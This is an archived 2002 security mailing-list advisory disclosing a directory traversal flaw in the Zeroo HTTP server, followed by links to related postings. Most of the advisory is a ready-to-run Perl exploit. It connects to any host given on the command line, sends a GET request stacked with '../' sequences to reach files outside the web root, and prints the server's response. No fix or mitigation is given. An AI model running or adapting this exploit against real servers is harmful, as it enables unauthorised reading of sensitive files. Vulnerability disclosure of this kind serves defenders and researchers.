[VulnWatch] Zeroo Folder Traversal Vulnerability

From: mattmurphy@kc.rr.com
Date: 11/22/02

  • Next message: Aaron C. Newman (Application Security, Inc.): "ASI Sybase Security Alert: Buffer overflow in xp_freedll"
  • Next message: vulndiscuss-help@vulnwatch.org: "confirm subscribe to vulndiscuss@vulnwatch.org"
    From: "mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com>
    To: news@securiteam.com, vulnwatch@vulnwatch.org, bugtraq@securityfocus.com
    Date: Thu, 21 Nov 2002 19:49:46 -0500
    
    

    According to the vendor's web page <http://lonerunner.cfxweb.net>, Zeroo is
    a "simple, small, portable, fast HTTP server". The server is available for
    Windows, and Linux operating systems.

    A folder traversal flaw in the server may allow attackers to compromise
    sensitive information stored on the server's volume.

    #!/usr/bin/perl
    use IO::Socket;
    $pkt = "GET /../../../../../../../../../../../../../../../../../../../../%s
    HTTP/1.0\r\n\r\n";
    if (@ARGV < 2 || @ARGV > 3) {
    print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
    exit;
    }
    if (@ARGV==3) {
    $port=$ARGV[2];
    } else {
    $port=80;
    }
    $f = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
    if (!defined($f)) {
    $err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
    print STDOUT $err;
    exit;
    }
    $f->autoflush(1);
    print $f $pkt;
    while (defined($line = <$f>)) {
    print STDOUT $line;
    }
    undef $f;

    --------------------------------------------------------------------
    mail2web - Check your email from the web at
    http://mail2web.com/ .



    Relevant Pages

    • [NEWS] Zeroo Folder Traversal Vulnerability
      ... HTTP server. ... print STDOUT $line; ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • Zeroo Folder Traversal Vulnerability
      ... a "simple, small, portable, fast HTTP server". ... Windows, and Linux operating systems. ... print STDOUT $line; ...
      (Bugtraq)
    • [Full-Disclosure] Zeroo Folder Traversal Vulnerability
      ... a "simple, small, portable, fast HTTP server". ... Windows, and Linux operating systems. ... print STDOUT $line; ...
      (Full-Disclosure)
    • Re: windows time slower than 10 mins
      ... SBS server sync with an external time source. ... This newsgroup only focuses on SBS technical issues. ... -tz print the local time zone info and exit. ... frequency determined during synchronization, then exit. ...
      (microsoft.public.windows.server.sbs)
    • Re: Socket Programming Problem
      ... number to the server and server increments the number and sends it back to ... the client. ... exit(EXIT_FAILURE); ... if(bind(sockfd, (struct sockaddr*) &server_str, ...
      (comp.unix.programmer)